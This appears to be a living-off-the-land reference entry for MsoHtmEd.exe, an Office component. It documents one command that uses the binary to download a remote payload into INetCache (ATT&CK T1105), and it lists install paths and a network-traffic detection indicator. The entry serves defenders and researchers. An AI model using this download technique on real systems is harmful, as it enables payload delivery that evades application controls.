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MsoHtmEd.exe

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Microsoft Office component

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

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EXAMPLE 01T1105

Downloads payload from remote server

COMMAND
MsoHtmEd.exe {REMOTEURL}
USE CASE
It will download a remote payload and place it in INetCache.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Suspicious Office application internet/network traffic

COMMUNITY RESEARCH

Acknowledgements

Nir Chako (Pentera)@C_h4ck_0